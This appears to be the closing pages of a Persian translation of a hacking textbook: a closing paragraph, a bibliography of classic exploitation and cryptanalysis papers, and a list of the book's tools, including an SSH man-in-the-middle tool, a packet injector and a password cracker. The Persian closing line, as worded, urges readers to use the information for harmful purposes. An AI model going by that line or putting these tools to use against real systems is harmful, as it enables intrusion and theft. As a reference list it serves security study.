ﺗﻮﺳﻌﻪ اﺳﺖ ،ﺑﻨﺎﺑﺮاﯾﻦ ﻫﻤﯿﺸﻪ رﯾﺴﮏ ﻫﺎی اﻣﻨﯿﺘﯽ وﺟﻮد ﺧﻮاﻫﻨﺪ داﺷﺖ .ﻫﻤـﻮاره اﻧﺘﻈـﺎر ﻣـﯽ رود ﮐـﻪ در ﻧـﺮم اﻓﺰارﻫـﺎ
آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎی ﺟﺪﯾﺪ ،در ﺗﻌﺎرﯾﻒ و ﻣﺸﺨﺼﺎت ﭘﺮوﺗﮑﻞ ﻫﺎ ،اﺑﻬﺎم و ﻫـﺰاران از ﻧﻈـﺮ اﻓﺘـﺎدﮔﯽ دﯾﮕـﺮ وﺟـﻮد داﺷـﺘﻪ
ﺑﺎﺷﺪ .اﻃﻼﻋﺎت ﺑﺪﺳﺖ آﻣﺪه از اﯾﻦ ﮐﺘﺎب ﺗﻨﻬﺎ ﯾﮏ ﻧﻘﻄﻪ ﺷﺮوع اﺳﺖ .اﯾﻦ ﺑﻪ ﺷﻤﺎ ﺑـﺴﺘﮕﯽ دارد ﮐـﻪ آﻧـﺮا داﺋﻤـﺎ ﺑـﺴﻂ و
ﮔﺴﺘﺮش دﻫﯿﺪ ،ﮐﻪ اﯾﻦ ﻣﻬﻢ ﺑﺎ درک ﭼﮕﻮﻧﮕﯽ ﻋﻤﻠﮑﺮد ﻣﻮﺿﻮﻋﺎت ،ﺷﮕﻔﺖ زده ﺷﺪن راﺟﻊ ﺑﻪ اﺣﺘﻤﺎﻻت و ﻓﮑـﺮ ﮐـﺮدن
راﺟﻊ ﺑﻪ ﭼﯿﺰﻫﺎﯾﯽ ﮐﻪ ﺗﻮﺳﻌﻪ دﻫﻨﺪﮔﺎن ﻧﺮم اﻓﺰار راﺟﻊ ﺑﻪ آﻧﻬﺎ ﻓﮑﺮ ﻧﮑﺮده اﻧـﺪ ،اﻣﮑـﺎن ﭘـﺬﯾﺮ ﻣـﯽ ﮔـﺮدد .اﯾـﻦ ﺑـﻪ ﺷـﻤﺎ
ﺑﺴﺘﮕﯽ دارد ﮐﻪ ﺑﻬﺘﺮﯾﻦ ﮐﺸﻒ ﻫﺎ را اﻧﺠﺎم دﻫﯿﺪ و در ﮐﻨﺎر آن اﯾﻦ اﻃﻼﻋﺎت را ﺑﺮای اﻫﺪاف ﻣﻀﺮ ﺑﻪ ﮐﺎر ﺑﺮﯾﺪ .اﻃﻼﻋﺎت
ﺧﻮدش ﺑﻪ ﺗﻨﻬﺎﯾﯽ ﮔﻨﺎه ﯾﺎ ﺟﺮم ﻧﯿﺴﺖ!
193
ارﺟﺎﻋﺎت
• Aleph One. "Smashing the Stack for Fun and Profit", Phrack 49.
http://www.phrack.org/show.php?p=49&a=14
• Bennett, C., F. Bessette, and G. Brassard. "Experimental Quantum Cryptography",
Journal of Cryptology 5, no. 1 (1992): 3–28.
• Borisov, N., I. Goldberg, and D. Wagner. "Intercepting Mobile Communications:
The Insecurity of 802.11." http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf
• Brassard, G. and P. Bratley. Fundamentals of Algorithmics. Englewood Cliffs, NJ:
Prentice-Hall, 1995.
• CNET News. "40-Bit Crypto Proves No Problem." January 31, 1997.
http://news.com.com/2100-1017-266268.html
• Conover, M. (Shok). "w00w00 on Heap Overflows", w00w00 Security Development.
http://www.w00w00.org/files/articles/heaptut.txt
• Electronic Frontier Foundation. "Felten vs RIAA." http://www.eff.org/sc/felten/
• Eller, Riley (caezar). "Bypassing MSB Data Filters for Buffer Overflow Exploits on
Intel Platforms." http://community.core-sdi.com/~juliano/bypass-msb.txt
• Engler, C. "Wire Fraud Case Reveals Loopholes in U.S. Laws Protecting Software."
http://www.cs.usask.ca/undergrads/bcb668/490/Week5/wirefraud.html
• Fluhrer, S., I. Mantin, and A. Shamir. "Weaknesses in the Key Scheduling Algorithm
of RC4." http://citeseer.nj.nec.com/fluhrer01weaknesses.html
• Grover, L. "Quantum Mechanics Helps in Searching for a Needle in a Haystack."
Physical Review Letters 79, no. 2 (July 14, 1997): 325–28.
• Joncheray, L. "Simple Active Attack Against TCP."
http://www.insecure.org/stf/iphijack.txt
• Krahmer, S. "SSH for Fun and Profit."
http://www.shellcode.com.ar/docz/asm/ssharp.pdf
• Levy, Steven. Hackers: Heroes of the Computer Revolution. New York, NY:
Doubleday, 1984.
• McCullagh, D. "Russian Adobe Hacker Busted", Wired News. July 17, 2001.
http://www.wired.com/news/politics/0,1283,45298,00.html
• The NASM Development Team, "NASM – The Netwide Assembler (Manual)",
version 0.98.34. http://nasm.sourceforge.net/
• Rieck, K. "Fuzzy Fingerprints: Attacking Vulnerabilities in the Human Brain."
http://www.thehackerschoice.com/papers/ffp.pdf
• Schneier, B. Applied Cryptography: Protocols, Algorithms, and Source Code in C,
2nd ed. New York: John Wiley & Sons, 1996.
• Scut and Team Teso. "Exploiting Format String Vulnerabilities", version 1.2.
http://www.team-teso.net/releases/formatstring-1.2.tar.gz
• Shor, P. "Polynomial-Time Algorithms for Prime Factorization and Discrete
Logarithms on a Quantum Computer." SIAM Journal of Computing 26 (1997):
1484–509. http://www.research.att.com/~shor/papers/
• Smith, N. "Stack Smashing Vulnerabilities in the UNIX Operating System."
http://tinfpc3.vub.ac.be/papers/nate-buffer.pdf
• Solar Designer. "Getting Around Non-Executable Stack (and Fix)." BugTraq post
dated Sunday, Aug. 10, 1997.
http://lists.insecure.org/lists/bugtraq/1997/Aug/0066.html
• Stinson, D. Cryptography: Theory and Practice. Boca Raton, FL: CRC Press, 1995.
• Zwicky, E., S. Cooper, and D. Chapman. Building Internet Firewalls, 2nd ed.
Sebastopol, CA: O'Reilly, 2000.
194
اﺑﺰار ﻣﻮرد اﺳﺘﻔﺎده در ﮐﺘﺎب
ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz : ﻣﺎﺷﯿﻦ ﺣﺴﺎﺑﯽ از ﭘﯿﺘﺮ ﮔﻠﻦ:pcalc
nasm.sourceforge.net/ :NASM از ﮔﺮوه ﺗﻮﺳﻌﻪ ﻧﺮم اﻓﺰار:(Netwide Assembler) NASM
www.chez.com/prigaux/hexedit.html : وﯾﺮاﯾﺸﮕﺮ ﻫﮕﺰادﺳﯿﻤﺎل از ﭘﺎﺳﮑﺎل رﯾﮕﺎﮐﺲ:Hexedit
www.phiral.com/ : دﮔﺮﺷﮑﻞ ﮐﻨﻨﺪه ﺑﺎﯾﺖ ﻫﺎی ﮐﺪﻫﺎی اﺳﮑﯽ و ﻗﺎﺑﻞ ﭼﺎپ از ﺟﻮز روﻧﯿﮏ:Dissembler
www.packetfactory.net/projects/nemesis/ : اﺑﺰار ﺗﺰرﯾﻖ ﺑﺴﺘﻪ از ﻣﺎرک ﮔﺮﯾﻤﺰ و ﺟﻒ ﻧﺎﺗﺎن:Nemesis
stealth.7350.org/SSH/7350ssharp.tgz :Stealth ازSSH ﺑﺮایMiM اﺑﺰار:SSharp
www.thehackerschoice.com/thc-ffp/ : اﺑﺰار ﺗﻮﻟﯿﺪ اﺛﺮاﻧﮕﺸﺖ ﻓﺎزی از ﮐﻨﺮاد رﯾﮏ:FFP
www.openwall.com/john/ :Solar Designer ﯾﮏ ﮐﺮک ﮐﻨﻨﺪه ﭘﺴﻮرد از:John The Ripper
195